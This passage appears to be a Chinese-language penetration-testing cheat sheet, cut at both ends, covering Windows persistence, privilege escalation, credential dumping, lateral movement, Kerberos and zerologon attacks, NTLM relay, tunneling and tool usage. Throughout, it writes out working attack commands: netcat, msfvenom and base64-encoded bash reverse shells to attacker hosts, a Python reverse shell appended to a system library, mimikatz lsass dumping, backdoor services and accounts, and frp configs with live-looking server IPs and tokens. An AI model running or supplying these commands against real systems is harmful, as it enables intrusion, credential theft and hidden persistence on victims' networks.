.accountName) { $UserName = $_ .accountName } elseif ($_ .runAs) { $UserName = $_ .runAs } try { $Changed = $_ .ParentNode.changed } catch { Write-Verbose "[Get-GPPInnerField] 无法检索 ParentNode.changed 字段:'$File '" } try { $NodeName = $_ .ParentNode.ParentNode.LocalName } catch { Write-Verbose "[Get-GPPInnerField] 无法检索 ParentNode.ParentNode.LocalName 字段:'$File '" } if (!($Password )) {$Password = '[BLANK]' } if (!($UserName )) {$UserName = '[BLANK]' } if (!($Changed )) {$Changed = '[BLANK]' } if (!($NewName )) {$NewName = '[BLANK]' } $GPPPassword = New-Object PSObject -Property @ { 'File' = $File 'NewName' = $NewName 'UserNames' = $UserName 'Passwords' = $Password 'Changed' = $Changed } Write-Output $GPPPassword } } } } catch { Write-Verbose "[Get-GPPInnerField] 出现异常:$Error [0]" } } if ($SearchForest ) { Write-Verbose "[Get-GPPPassword] 映射整个林信任关系..." $Forest = [System.DirectoryServices.ActiveDirectory.Forest ]::GetCurrentForest() $Sysvols = @ () foreach ($Domain in $Forest .Domains) { $Sysvols += "\\$ ($Domain .name)\SYSVOL" } } else { $Sysvols = @ ("\\$Server \SYSVOL" ) } $Files = @ () foreach ($Sysvol in $Sysvols ) { Write-Verbose "[Get-GPPPassword] 搜索 '$Sysvol '..." try { $Files += Get-ChildItem -Recurse -Path $Sysvol -Filter "Groups.xml" $Files += Get-ChildItem -Recurse -Path $Sysvol -Filter "Services.xml" $Files += Get-ChildItem -Recurse -Path $Sysvol -Filter "Scheduledtasks.xml" $Files += Get-ChildItem -Recurse -Path $Sysvol -Filter "DataSources.xml" } catch { Write-Verbose "[Get-GPPPassword] 无法获取文件:$Error [0]" } } foreach ($File in $Files ) { Get-GPPInnerField -File $File } }
浏览器 HackBrowserData
SharpWeb
SharpDPAPI
360SafeBrowsergetpass
BrowserGhost
Browser-cookie-steal
权限维持 篡改非特权账户 分配组权限 1 2 3 net localgroup administrators thmuser0 /add net localgroup "Backup Operators" thmuser1 /add net localgroup "Remote Management Users" thmuser1 /add
特殊权限和安全描述符 RID劫持 后门文件 可执行文件白加黑 快捷方式文件 劫持文件关联 服务 创建后门服务 1 2 3 4 5 6 7 sc.exe create THMservice binPath= "net user Administrator Passwd123" start = auto sc.exe start THMservice sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start = auto sc.exe start THMservice2
修改现有服务 计划任务 1 2 3 4 5 schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM c:\tools\pstools\PsExec64.exe -s -i regedit
然后在注册表中删除安全描述符SD(用于隐藏,避免被发现)
登录触发 启动文件夹(Startup folder) C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
放置用户登录时要运行的可执行文件
Run / RunOnce 注册表项
1 2 3 4 5 6 HKCU\Software\Microsoft\Windows\CurrentVersion\Run HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce HKLM\Software\Microsoft\Windows\CurrentVersion\Run HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
Winlogon 注册表项
1 2 3 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Logon scripts 环境变量(其实还是注册表项)
1 2 3 4 HKCU\Environment UserInitMprLogonScript
登录界面 / RDP Sticky Keys(粘滞键) 连续按 SHIFT
5次激活粘滞键会执行C:\Windows\System32\sethc.exe
提前替换C:\Windows\System32\sethc.exe
即可
1 2 3 takeown /f c:\Windows\System32\sethc.exe icacls C:\Windows\System32\sethc.exe /grant Administrator:F copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Utilman 无障碍服务,点击执行C:\Windows\System32\Utilman.exe
将其替换即可,过程同上
Web服务相关 Web Shell webshell
MSSQL 提权 1 2 3 whoami /priv findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml findstr /si 'password' *.txt *.xml *.docx
自动化 PrivescCheck PrivescCheck
1 . .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended
PowerSploit https://github.com/PowerShellMafia/PowerSploit
1 2 . .\PowerUp.ps1Invoke-AllChecks
Potato 1 2 3 使用Potato提权都需要下列两个特权中的一个。1 .SeImpersonatePrivilege(替换一个进程级令牌)2 .SeAssignPrimaryTokenPrivilege (身份验证后模拟客户端)
手工 计划任务 1 2 3 4 5 schtasks schtasks /query /tn vulntask /fo list /v icacls c:\tasks\schtask.bat echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 >> C:\tasks\schtask.bat schtasks /run /tn vulntask
配置错误 服务配置错误 所有服务配置都存储在注册表下的 HKLM\SYSTEM\CurrentControlSet\Services\
1 2 sc query sc qc apphostsvc
服务可执行文件权限不安全 1 2 3 4 5 6 7 8 9 10 11 12 13 icacls C:\PROGRA~2 \SYSTEM~1 \WService.exe msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc .exe python3 -m http.server wget http://ATTACKER_IP:8000 /rev-svc .exe -O rev-svc .exe cd C:\PROGRA~2 \SYSTEM~1 \ move WService.exe WService.exe.bkp move C:\Users\thm-unpriv \rev-svc .exe WService.exe icacls WService.exe /grant Everyone:F sc stop windowsschedulersc start windowsscheduler
AlwaysInstallElevated 1 2 3 4 5 6 7 8 9 10 11 12 13 14 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedIWR -Uri http://172.16 .1.30 /evil.msi -OutFile evil.msi msiexec /i evil.msi msiexec /i evil.msi /quiet /norestart Start-Process msiexec -ArgumentList "/i evil.msi /quiet /norestart" -WindowStyle Hidden -NoNewWindow IEX (IWR -Uri http://172.16 .1.30 /evil.msi -UseBasicParsing ) | msiexec /i - /quiet /norestart
已获取凭据 1 runas /savecred /user:admin cmd.exe
拥有本地管理员权限 获取密码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit" mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit" post/windows/gather/smart_hashdump crackmapexec smb <ip_range> -u <user> -p <password> -M lsassy crackmapexec smb <ip_range> -u <user> -p '<password>' --sam / --lsa / --ntds laZagne.exe all
绕过LSA防护策略读取密码 1 2 3 4 PPLdump64.exe <lsass.exe|lsass_pid> lsass.dmp mimikatz "!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "!processprotect /process:lsass.exe" "!-"
token窃取 1 2 3 4 5 6 7 8 .\incognito.exe list_tokens -u .\incognito.exe execute -c "<domain>\<user>" powershell.exe .\incognito.exe execute -c "完整的Token名" cmd.exe .\incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe use incognito impersonate_token <domain>\\<user>
卷影拷贝(获取域控所有hash) 1 2 diskshadow list shadows all mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
1 2 3 4 5 6 vssadmin create shadow /for =C: copy \\?\GLOBALLROOT\Device\xxxxxxxxxx\windows\ntds\ntds.dit C:\ntds.dit reg sava hklm\system system.hive vssadmin delete shadows /for =C: /quiet
https://0range-x.github.io/2021/11/22/CVE-2020-1472/
关闭杀软 卡巴斯基 1 taskkill /IM avp.exe /IM avpsus.exe /IM avpui.exe /IM avpui.exe /F
横向移动 创建远程连接 Psexec 1 2 3 4 psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe ssh za\\rachael.atkinson@thmjmp2.za.tryhackme.com msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445 -f msi > cl0v3.msi use exploit/multi/handler
WinRM windows自带
1 winrs.exe -u :Administrator -p :Mypass123 -r :target cmd
用powershell实现相同效果:
1 2 3 4 5 6 7 8 9 10 11 $username = 'Administrator' ;$password = 'Mypass123' ;$securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username , $securePassword ;Enter-PSSession -Computername TARGET -Credential $credential Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
使用 sc 远程创建服务 自带
1 2 3 4 5 6 7 sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start = auto sc.exe \\TARGET start THMservice sc.exe \\TARGET stop THMservice sc.exe \\TARGET delete THMservice
创建远程计划任务 盲攻击,无法看到输出
1 2 3 4 schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01 /01 /1970 /st 00 :00 schtasks /s TARGET /run /TN "THMtask1" schtasks /S TARGET /TN "THMtask1" /DELETE /F
利用WMI 从 PowerShell 连接到 WMI(前置准备) 1 2 3 4 5 6 7 8 9 $username = 'Administrator' ;$password = 'Mypass123' ;$securePassword = ConvertTo-SecureString $password -AsPlainText -Force ;$credential = New-Object System.Management.Automation.PSCredential $username , $securePassword ;$Opt = New-CimSessionOption -Protocol DCOM$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
创建远程进程 1 2 3 4 5 6 $Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere" ;Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @ { CommandLine = $Command }
在传统系统中,使用如下cmd命令实现相同操作
1 wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe"
远程创建服务 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @ { Name = "THMService2" ; DisplayName = "THMService2" ; PathName = "net user munra2 Pass123 /add" ; ServiceType = [byte ]::Parse("16" ); StartMode = "Manual" $Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'" Invoke-CimMethod -InputObject $Service -MethodName StartServiceInvoke-CimMethod -InputObject $Service -MethodName StopServiceInvoke-CimMethod -InputObject $Service -MethodName Delete
远程创建计划任务 1 2 3 4 5 6 7 8 9 10 $Command = "cmd.exe" $Args = "/c net user munra22 aSdf1234 /add" $Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2" Start-ScheduledTask -CimSession $Session -TaskName "THMtask2" Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
安装 MSI 包 需要提前将msi包传到目标系统中
1 Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @ {PackageLocation = "C:\Windows\myinstaller.msi" ; Options = "" ; AllUsers = $false }
在传统系统中,使用如下cmd命令实现相同操作:
1 wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi
使用替代认证材料 获取域内所有账户名 1 python GetADUsers.py -all -dc-ip <dc_ip> <domain>/<username>
枚举smb共享 1 2 crackmapexec smb <ip> -u <user> -p <password> --shares
bloodhound 1 2 bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all
Kerberoasting攻击 1 2 3 4 5 6 7 8 GetUserSPNs.py -request -dc-ip <dc_ip> <domain>/<user>:<password> Rubeus.exe kerberoast /outfile:hashes.txt hashcat -m 13100 hashes.txt <wordlist>
MS14-068 1 2 3 4 5 6 7 8 9 rpcclient $> lookupnames <name> wmic useraccount get name,sid auxiliary/admin/kerberos/ms14_068_kerberos_checksum goldenPac.py -dc-ip <dc_ip> <domain>/<user>:'<password>' @<target> goldenPac.py -dc-ip 192.168.1.1 example.com/user1:'password123' @192.168.1.2
1 2 kerberos::ptc "<ticket>"
PrintNightmare 即CVE-2021-1675
1 2 3 4 CVE-2021-1675 .py <domain>/<user>:<password>@ <target> '\\<smb_server_ip>\<share>\inject.dll'
获取域控 MS14-068 Kerberos WindowsExploits/MS14-068 at master · abatchy17/WindowsExploits — WindowsExploits/MS14-068 at master · abatchy17/WindowsExploits
1 ms-14-068 .exe -u 域用户@ 域控名 -p 域用户密码 -s 域用户sid -d 域ip
利用mimikatz将工具得到的TGT_domainuser@SERVER.COM.ccache 写入内存,创建缓存证书:
1 2 3 4 5 mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com.ccache" exit net use k: \pentest.comc$ pxesec64.exe \\域控主机名 cmd.exe
kerberos黄金票据 需要具备对域控制器的DCSync权限
1 2 3 4 5 6 lsadump::dcsync /domain:pentest.com /user:krbtgt kerberos::purge kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash值 /ticket:adinistrator.kiribi kerberos::ptt administrator.kiribi kerberos::tgt net use k: \pnet use k: \pentest.comc$
kerberos白银票据 黄金票据和白银票据的一些区别: Golden Ticket:伪造 TGT ,可以获取 任何Kerberos 服务权限 银票:伪造TGS, 只能访问指定的服务
加密方式不同: Golden Ticket由 krbtgt 的hash加密 Silver Ticket由 服务账号 (通常为计算机账户)Hash加密 认证流程不同: 金票在使用的过程需要同域控通信 银票在使用的过程不需要同域控通信
域服务账号破解 1 2 kerberos::list /export tgsrepcrack.py wordlist.txt 1 -MSSQLSvc ~sql01.medin.local~1433 -MYDOMAIN .LOCAL.kirbi
zerologon 1 2 3 4 python3 cve-2020-1472-exploit .py 域控主机名 <ip> python3 secretsdump.py <DOMAIN>/域控主机名$ @ <IP> -no-pass -just-dc-user "Administrator" python3 wmiexec.py -hashes <HASH_admin> <DOMAIN>/Administrator@ <IP> python3 restorepassword.py -target-ip <IP><DOMAIN>/域控主机名@ 域控主机名 -hexpass <HEXPASS>
Mimikatz示例 1 2 3 4 5 6 7 8 9 10 11 12 lsadump::zerologon /target:dc1.exploit.local /account:dc1$ lsadump::zerologon /target:dc1.exploit.local /account:dc1$ /exploit lsadump::dcsync /dc:dc1.exploit.local /authuser:dc1$ /authdomain:exploit.local /authpassword:"" /domain:exploit.local /authntlm /user:krbtgt lsadump::postzerologon /target:conttosson.locl /account:dc$
Impacket示例 1 2 3 4 5 6 7 8 9 10 python cve-2020-1472-exploit .py DC2008 10.211 .55.200 secretsdump.py -no-pass cgdomain.com/'DC2008$' @10.211 .55.200 -history -just-dc-user administrator secretsdump.py -no-pass cgdomain.com/administrator@10.211 .55.200 -hashes aad3b435b51404eeaad3b435b51404ee:3 add1560657a19b3166247eb3eb149ae python restorepassword.py cgdomain.com/DC2008@DC2008 -target-ip 10.211 .55.200 - hexpass 59958639 cbdd4523de5d42b01adb0e256e0d39aef14c8eef31f4c078862109f253bbb7b3817ab123d013856c028fa4993f5f5b9a830a3a98d87483b29df3fb55082a1f464b19220a2c04f6605d2d321a04afbb551f8f19a13d399f9f5af2aa23c5b76b49001033516fefd90cb0348256e8282b22cbf9e70d82a8b8d2916d578246e288af3af727533d36ad8950fe1c513771377d98a947c4a8eae2b581a74b6687a2e533b7e89e8d03c2e6c2123d519489869a6e33d3a8884be33107060b62e2852502261f48c097ddb68750cc55b7688cc951441cf02989a307f55c008e978edbaf31766d17b53505016c7580cb480b
恢复方法二 通过wmic, pass the hash 拿到域控中的本地管理员权限(域管)
1 2 3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8 adfc85c3490040e942ae1e6c68f645e test.local/Administrator@10.211 .55.38
分别执行下列命令,拷贝本机中SAM数据库到本地
1 2 3 4 5 6 7 8 9 10 11 12 reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save get system.save get sam.save get security.savedel /f system.savedel /f sam.savedel /f security.save
提取明文hash
1 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
然后恢复。
CVE-2021-42278 && CVE-2021-42287 sam-the-admin
noPac
1 2 3 4 5 ./noPac.exe -domain dc.com -user username -pass 'password' /dc owa.dc.com /mAccount mAusername /mPassword password /service cifs /ptt
relay/poisoning攻击 扫描没开启SMB签名的机器 1 2 3 nmap -Pn -sS -T4 --open --script smb-security-mode -p445 ADDRESS/MASK # 扫描目标网络中的 SMB 服务,检测其安全配置和开放端口 crackmapexec smb $hosts --gen-relay-list relay.txt # 生成一个包含可用于 SMB 中继的目标主机列表,攻击者可以通过这个列表进行中继攻击 use exploit/windows/smb/smb_relay # 用 Metasploit 的 smb_relay 模块对目标进行 SMB 中继攻击
PetitPotam 1 2 PetitPotam.py -d <domain> <listener_ip> <target_ip> PetitPotam.py -d example.local 192.168 .1.100 192.168 .1.50 # 示例
无SMB签名|| 开启IPv6 || ADCS MS08-068 1 use exploit/windows/smb/smb_relay
1 2 responder -I eth0 ntlmrelayx.py -tf targets.txt
mitm6 -i eth0 -d 1 2 3 4 5 6 7 8 9 10 11 12 13 mitm6 -i eth0 -d example.local ntlmrelayx.py -6 -wh <attacker_ip> -l /tmp -socks -debug ntlmrelayx.py -6 -wh <attacker_ip> -t smb://<target> -l /tmp -socks -debug ntlmrelayx.py -t ldaps://<dc_ip> -wh <attacker_ip> --delegate-access getST.py -spn cifs/<target> <domain>/<netbios_name>\$ -impersonate <user>
ADCS 1 2 3 4 5 ntlmrelayx.py -t http://<dc_ip>/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate > /ptt
内网穿透 Neo-reGeorg 1 python neoreg.py -k password -u http://xx/tunnel.php
frp 1 2 ./frps -c ./ frps.toml ./frpc -c ./ frpc.toml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 serverAddr = "124.70.209.177" serverPort = 12331 auth.token = "D74641A4-8AD7-FDCC-8C13-7AD50F222E2D" webServer.addr = "127.0.0.1" webServer.port = 7766 webServer.user = "admin" webServer.password = "admin888" [[proxies]] name = "socks5" type = "tcp" remotePort = 12333 [proxies.plugin] type = "socks5" [[proxies]] name = "admin_ui" type = "tcp" localPort = 7766 remotePort = 12334
1 2 3 4 5 6 7 bindPort = 12331 auth.token = "D74641A4-8AD7-FDCC-8C13-7AD50F222E2D" webServer.addr = "0.0.0.0" webServer.port = 13332 webServer.user = "admin" webServer.password = "admin888"
反弹shell 1 2 3 4 5 6 7 8 9 10 11 nc 47.120.32.120 10000| /bin/bash | nc 47.120.32.120 10001 busybox nc 10.2.26.216 7777 -e sh bash -c 'bash -i >& /dev/tcp/10.2.26.216/7777 0>&1' bash -c "$(base64 -d<<<YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yLjI2LjIxNi83Nzc3IDA+JjE=) " echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yLjI2LjIxNi83Nzc3IDA+JjEnCg==|base64 -d|bash bash<<<$(base64 -d<<<YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yLjI2LjIxNi83Nzc3IDA+JjEnCg==)
优化tty 1 2 3 4 5 6 python3 -c 'import pty; pty.spawn("/bin/bash")' export SHELL=bash export TERM=xterm-256color# ctrl+Z stty raw -echo;fg reset
添加管理员RDP 有时需要配置防火墙允许3389端口
1 2 3 net user bridge huawei /add net localgroup administrators bridge /add REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" " Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
工具/命令 amass 子域名收集方法集成
1 amass -d kali.org # 不推荐,将耗费极其长的时间
1 2 3 4 子命令: amass intel - 发现枚举目标 amass enum - 执行枚举和网络映射 amass db - 管理存储枚举结果的图数据库
intel 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 用法:amass intel [options] [-whois -d DOMAIN] [-addr ADDR -asn ASN -cidr CIDR] -active 尝试获取证书名称 -addr 值 IP 地址和地址范围 (192.168.1.1-254),以逗号分隔 -asn 值 ASN 以逗号分隔(可多次使用) -cidr 值 CIDR 以逗号分隔(可多次使用) -config 字符串 YAML 配置文件的路径。以下为更多详细信息 -d 值 域名以逗号分隔(可多次使用) -demo 审查输出以使其适合演示 -df 值 提供根域名的文件路径 -dir 字符串 包含输出文件的目录路径 -ef 字符串 提供要排除的数据源的文件路径 -exclude 值 以逗号分隔的要排除的数据源名称 -h 显示程序使用信息 -help 显示程序使用信息 -if 字符串 提供要包含的数据源的文件路径 -include 值 以逗号分隔的要包含的数据源名称 -ip 显示已发现名称的 IP 地址 -ipv4 显示已发现名称的 IPv4 地址 -ipv6 显示已发现名称的 IPv6 地址 -list 打印其他信息 -log 字符串 写入错误的日志文件路径 -max-dns-queries 整数 最大并发 DNS 查询数 -o 字符串 包含终端 stdout/stderr 的文本文件路径 -org 字符串 根据 AS 描述信息提供的搜索字符串 -p 值 端口号(以逗号分隔)(默认值:80, 443) -r 值 首选 DNS 解析器的 IP 地址(可多次使用) -rf 值 提供首选 DNS 解析器的文件路径 -timeout 整数 退出前允许枚举运行的分钟数 -v 输出状态/调试/故障排除信息 -whois 所有提供的域名均经过反向 whois 查询
enum
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 用法:amass 枚举 [选项] -d DOMAIN -active 尝试区域传输和证书名称抓取 -addr 值 IP 地址和地址范围 (192.168.1.1-254),以逗号分隔 -alts 启用更改名称生成 -asn 值 ASN 以逗号分隔(可多次使用) -aw 值 用于更改名称的不同词表文件的路径 -awm 值 用于名称更改的“hashcat 风格”词表掩码 -bl 值 不予调查的子域名黑名单 -blf 字符串 提供黑名单子域名的文件路径 -brute 搜索后执行暴力破解 -cidr 值 CIDR 以逗号分隔(可多次使用) -config 字符串 YAML 配置文件的路径。以下为更多详细信息 -d 值 域名以逗号分隔(可多次使用) -demo 审查输出以使其适合演示 -df 值 提供根域名的文件路径 -dir 字符串 包含输出文件的目录路径 -dns-qps 整数 所有解析器每秒的最大 DNS 查询数 -ef 字符串 提供要排除的数据源的文件路径 -exclude 值 要排除的数据源名称以逗号分隔 -h 显示程序使用信息 -help 显示程序使用信息 -if 字符串 提供要包含的数据源的文件路径 -iface 字符串 提供用于发送流量的网络接口 -include 值 要包含的数据源名称以逗号分隔 -list 打印所有可用数据源的名称 -log 字符串 将写入错误的日志文件路径 -max-depth 整数 用于暴力破解的最大子域名标签数量 -max-dns-queries 整数 已弃用且将被替换的标志由 dns-qps 在 4.0 版本中提供 -min-for-recursive int 递归暴力破解前看到的子域名标签(默认值:1)(默认 1) -nf 值 提供已知子域名(来自其他工具/来源)的文件路径 -nocolor 禁用彩色输出 -norecursive 关闭递归暴力破解 -o 字符串 包含终端 stdout/stderr 的文本文件路径 -oA 字符串 用于命名所有输出文件的路径前缀 -p 值 以逗号分隔的端口(默认值:80, 443) -passive 已弃用,因为默认设置是 passive -r 值 不受信任 DNS 解析器的 IP 地址(可多次使用) -rf 值 提供不受信任 DNS 解析器的文件路径 -rqps int 每个不受信任解析器每秒的最大 DNS 查询次数 -scripts 字符串 包含 ADS 的目录路径脚本 -silent 执行期间禁用所有输出 -timeout int 退出前枚举运行的分钟数 -tr 值 可信 DNS 解析器的 IP 地址(可多次使用) -trf 值 提供可信 DNS 解析器的文件路径 -trqps int 每个可信解析器每秒的最大 DNS 查询次数 -v 输出状态/调试/故障排除信息 -w 值 用于暴力破解的不同字典文件的路径 -wm 值 用于 DNS 暴力破解的“hashcat 风格”字典掩码
bash 1 /lib/x86_64-linux-gnu/ld-linux-x86–64.so.2 /bin/bash # 以动态链接库启动bash,可以突破额外添加在原本bash上的限制,例如ash
crontab 1 crontab -l # 查看当前用户的 cron 任务
cs 1 2 3 4 # 服务端teamserver ./teamserver 192.168.1.100 mypassword123 # 启动,设置了ip地址和密码,默认端口为50050,端口进文件里改,这是个sh文件。
curl
danted 内网穿透
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 logoutput: /var/log/danted.log internal: 0.0.0.0 port = 59999 external: 103.199.16.14 clientmethod: none socksmethod: none user.privileged: proxy user.unprivileged: nobody client pass { from: 0.0.0.0/0 to: 0.0.0.0/0 log: connect disconnect error } socks pass { from: 0.0.0.0/0 to: 10.10.0.0/16 log: connect disconnect error }
1 systemctl restart danted # 启动
df 检查磁盘空间使用情况
显示所有挂载的文件系统的可用空间和已用空间,包括每个文件系统的总大小、已用空间、可用空间以及已用空间的百分比
存在**/sys/fs/cgroup**,说明你在docker容器里
1 2 3 4 5 6 7 8 9 10 root@7546fa2336d6:/# df Filesystem 1K-blocks Used Available Use% Mounted on overlay 20509264 7633420 11810988 40% / tmpfs 65536 0 65536 0% /dev tmpfs 245328 0 245328 0% /sys/fs/cgroup shm 65536 0 65536 0% /dev/shm /dev/xvda1 20509264 7633420 11810988 40% /opt/clean tmpfs 245328 0 245328 0% /proc/acpi tmpfs 245328 0 245328 0% /proc/scsi tmpfs 245328 0 245328 0% /sys/firmware
dirsx 目录扫描
1 .\dirsx.exe -u http://10.10 .80.155 /
dpkg 1 dpkg -i rustscan_2.4.1-1_amd64.deb # 基于 Debian 的 Linux 发行版(如 Debian、Ubuntu 及其衍生版)从 .deb 文件安装软件包
echo 1 2 3 echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.2.26.216",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' >> /usr/lib/python3.8/base64.py echo 'bash -i >& /dev/tcp/10.2.26.216/7777 0>&1' >> clean.sh
evil-winrm 1 2 # 使用 PtH 连接到 WinRM evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
读取、写入和操作图像、音频、视频和 PDF 元数据。
export 1 export IP=*.*.*.* # 设置环境变量
feroxbuster 目录扫描
rust,很快
1 2 feroxbuster -u http://10.10.28.167/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt feroxbuster -u http://10.10.147.99/ -w /usr/share/wordlists/dirb/big.txt
ffuf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ffuf -u http://10.10.235.83/yaml -H "Content-Type: application/json" -X POST -d '{"file_path":"FUZZ.yaml"}' -w wordlist.txt ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://WIN-12OUO7A66M7.thm.local/FUZZ -fw 1# 子域名 ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u https://futurevera.thm -H "Host:FUZZ.futurevera.thm" -fw 1 -c ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u https://10.10.154.132 -H "Host:FUZZ.futurevera.thm" -fs 4605 -c # -u 最好用ip,而不是域名,用域名有时爆不出 ffuf -w SecLists/Discovery/Web-Content/common.txt -H "Host: FUZZ.futurevera.thm" -u https://10.10.140.236 -fs 4605 -c# POST参数 ffuf -u 'http://admin.cyprusbank.thm/settings' -X POST -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: connect.sid=s%3AMwjzKA3EcBUXIsqGNDDaHARGh5B7JYwk.jwhk7KbGBNbC46HXtU8Ln%2BqMzdigbh1ZTMDnal6RC24' -mc all -d 'name=test&password=test&FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -t 100 -fs 2098 ffuf -w wordlists/sql-login-bypass.txt -X POST -u http://10.10.236.146/login.php -d 'username=FUZZ&password=asdf' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -fw 227# GET参数 ffuf -u 'http://10.10.29.18/assets/index.php?FUZZ=id' -mc all -ic -t 100 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -fs 0
参数说明
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 HTTP 选项: -H 标头“Name: Value”,以冒号分隔。接受多个 -H 参数。 -X 使用的 HTTP 方法 -b Cookie 数据“NAME1=VALUE1; NAME2=VALUE2”,用于复制为 curl 功能。 -cc 用于身份验证的客户端证书。客户端密钥也需要定义才能正常工作。 -ck 用于身份验证的客户端密钥。客户端证书也需要定义才能正常工作。 -d POST 数据 -http2 使用 HTTP2 协议(默认值:false) -ignore-body 不获取响应内容。(默认值:false) -r 遵循重定向(默认值:false) -raw 不编码 URI(默认值:false) -recursion 递归扫描。仅支持 FUZZ 关键字,并且 URL (-u) 必须以此关键字结尾。(默认值:false) -recursion-depth 最大递归深度。 (默认值:0) -recursion-strategy 递归策略:“default”表示基于重定向,“greedy”表示对所有匹配项进行递归(默认值:default) -replay-proxy 使用此代理重放匹配的请求。 -sni 目标 TLS SNI,不支持 FUZZ 关键字。 -timeout HTTP 请求超时时间(秒)。(默认值:10) -u 目标 URL -x 代理 URL(SOCKS5 或 HTTP)。例如:http://127.0.0.1:8080 或 socks5://127.0.0.1:8080 常规选项: -V 显示版本信息。(默认值:false) -ac 自动校准过滤选项(默认值:false) -acc 自定义自动校准字符串。可多次使用。隐含 -ac -ach 每台主机自动校准(默认值:false) -ack 自动校准关键字(默认值:FUZZ) -acs 